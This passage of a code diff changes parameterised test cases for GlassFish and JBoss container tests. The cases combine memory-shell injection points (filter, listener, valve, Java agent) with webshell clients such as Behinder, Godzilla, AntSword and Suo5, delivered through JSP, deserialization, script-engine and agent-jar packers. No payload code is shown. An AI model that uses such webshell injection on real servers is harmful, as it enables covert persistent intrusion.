arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -43,26 +43,40 @@ public class GlassFish501ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -43,32 +43,52 @@ public class GlassFish510ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -44,23 +44,29 @@ public class GlassFish6ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
@@ -46,12 +46,15 @@ public class GlassFish7ContainerTest {
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
@@ -43,26 +43,40 @@ public class Jboss423ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -46,24 +46,38 @@ public class Jboss510ContainerTest {
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -43,26 +43,40 @@ public class Jboss610ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,15 +48,23 @@ public class Jboss711ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
